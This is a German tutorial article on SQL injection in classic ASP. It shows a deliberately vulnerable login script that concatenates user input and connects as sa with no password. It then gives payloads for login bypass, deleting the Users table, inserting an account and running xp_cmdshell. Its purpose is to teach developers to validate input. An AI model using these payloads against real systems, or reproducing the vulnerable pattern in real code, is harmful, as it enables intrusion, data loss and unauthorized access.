Glengamoi (Forum) · AspHeute · .NET Heute (RSS-Suche) · AspxFiles (Wiki) · .NET Blogs

SQL Injection

Geschrieben von: Christoph Wille
Kategorie: Sicherheit

This printed page brought to you by AlphaSierraPapa

Ein wie immer brillanter Michael Howard (Program Manager, Secure Windows Initiative, Microsoft Corporation) hat auf der Professional Developers Conference (PDC) 2001 in Los Angeles zwei Vorträge über Sicherheit gehalten - einen über Windows-, den anderen über Websicherheit. Der letztere hat mich davon überzeugt, wie wichtig es ist, Programmierer über das Sicherheitsrisiko #1 für ASP Datenbankapplikationen zu informieren: SQL Injection.

Was ist SQL Injection? Am besten erklärt sich das anhand eines Augen-öffnenden Beispiels, und ich habe dazu ein beliebtes Formular gewählt: das Login Formular.

Der Code für das Formular ist simpel genug um ihn auszulassen - interessant ist nur der Code, der den Login durchführt:

<% @ Language=VBScript %>
<%
strConn = "Provider=SQLOLEDB;Data Source=webdevsrv01;" & _
	  "Initial Catalog=Demo;User Id=sa;Password="

bValidationFailed = False

If Request.ServerVariables("CONTENT_LENGTH") > 0 Then
  strUsername = Trim(Request.Form("UName"))
  strPassword = Trim(Request.Form("UPwd"))
  Set rs = Server.CreateObject("ADODB.Recordset")
  rs.Open "select count(*) from Users where UserName='" & strUsername &_
        "' AND UserPassword='" & strPassword & "'" , strConn
  If (rs.Fields(0).Value > 0) Then 
    Response.Redirect "supa.asp"
    Response.End
  Else
    bValidationFailed = True
  End If
End If
%>

Sieht doch ganz normal aus, oder? Sehen wir uns an, wie der SQL String aussieht, wenn sich der Administrator mit admin / admin einloggt:

select count(*) from users where UserName='admin' AND UserPassword='admin'

Der Administrator fällt also definitiv unter die Kategorie "Gute Menschen" - was aber würde ein Cracker versuchen? Wie wär's mit folgender Benutzername und Passwort Kombination: ' OR '1'='1 und ' OR '1'='1. Der SQL String sieht dann so aus:

select count(*) from users where UserName='' OR '1'='1' AND 
         UserPassword='' OR '1'='1'

Oopsie! Tja, damit sind wir schon auf der gesicherten Site gelandet - und nur weil wir die Benutzereingaben nicht validiert haben.

Aber es geht noch mehr... wie wär's mit Benutzername ' DELETE Users --?

select count(*) from users where UserName='' DELETE Users --' AND 
         UserPassword=''

Oopsie! Da hab' ich doch gerade sämtliche Benutzeraccounts aus der Tabelle gelöscht! Die zwei Dashes (-) leiten einen Kommentar ein, deswegen gab's mit dem nach AND folgenden String keinen Fehler.

Kein Problem, als Cracker kann man das Problem wieder beseitigen... wie wär's hiermit als Benutzername: ' insert into Users values('got','you') --"? Guess what - damit kann man sich einen Account anlegen!

select count(*) from users where UserName='' insert into Users values('got','you') --' AND 
         UserPassword=''

Das ist der Fahnenstange Ende leider noch nicht. Warum? Folgende weitere Dummheit im Sourcecode:

<% @ Language=VBScript %>
<%
strConn = "Provider=SQLOLEDB;Data Source=webdevsrv01;" & _
	  "Initial Catalog=Demo;User Id=sa;Password="
...

Wir sind der Faulheit halber mit dem sa Account eingeloggt. Nun, da würde sich doch folgendes ganz hervorragend anbieten: ' EXEC master..xp_cmdshell 'dir *.* > c:\listing.txt' --

select count(*) from users where UserName='' EXEC master..xp_cmdshell 'dir *.* > c:\listing.txt' --' AND 
         UserPassword=''

Das ist ein höfliches Beispiel, das "nur" das Root des Systemlaufwerks auflistet. Mit Hilfe des net Kommandos könnten wir uns aber einen User Account in der Administratorengruppe anlegen. Den Code soll sich aber jeder selber basteln.

Mit diesen Beispielen hoffe ich demonstriert zu haben, was SQL Injection ist - das Einfügen von beliebigen SQL Strings in Formulare, die dann am Server ausgeführt werden. Und warum passiert das? Weil die Formulare dem Input der Benutzer vertrauen, und ihn nicht entsprechend validieren. Generell sollte Michael Howard's Regel gelten: All input is evil, until proven otherwise!. Somit ist die Gegenmaßnahme klar: validieren, validieren, validieren.

Schlußbemerkung

Im nächsten Artikel beschäftige ich mich mit einigen Gegenmaßnahmen, die neben validieren, validieren, validieren auch einige RegEx und ADO Ansätze beinhalten.

This printed page brought to you by AlphaSierraPapa

Verwandte Artikel

Benutzerverwaltung leicht gemacht: Teil 1
http:/www.aspheute.com/artikel/20020429.htm
Der Microsoft Baseline Security Analyzer (MBSA) 1.0
http:/www.aspheute.com/artikel/20020412.htm
Eigene Tags - User Input einfach und sicher
http:/www.aspheute.com/artikel/20020130.htm
Ein einfacher Eventkalender für Projektteams
http:/www.aspheute.com/artikel/20020319.htm
Formularbasierte Authentifizierung in fünf Minuten
http:/www.aspheute.com/artikel/20020705.htm
Gegengifte für SQL Injection
http:/www.aspheute.com/artikel/20011031.htm
Performancemessungen in .NET
http:/www.aspheute.com/artikel/20011206.htm
Stored Procedures einfach erstellt
http:/www.aspheute.com/artikel/20020903.htm
Verhinderung von SQL Injection Marke .NET
http:/www.aspheute.com/artikel/20011203.htm
Vorsicht Falle: Dateien, die keine sind
http:/www.aspheute.com/artikel/20020131.htm

 

©2000-2006 AspHeute.com
Alle Rechte vorbehalten. Der Inhalt dieser Seiten ist urheberrechtlich geschützt.
Eine Übernahme von Texten (auch nur auszugsweise) oder Graphiken bedarf unserer schriftlichen Zustimmung.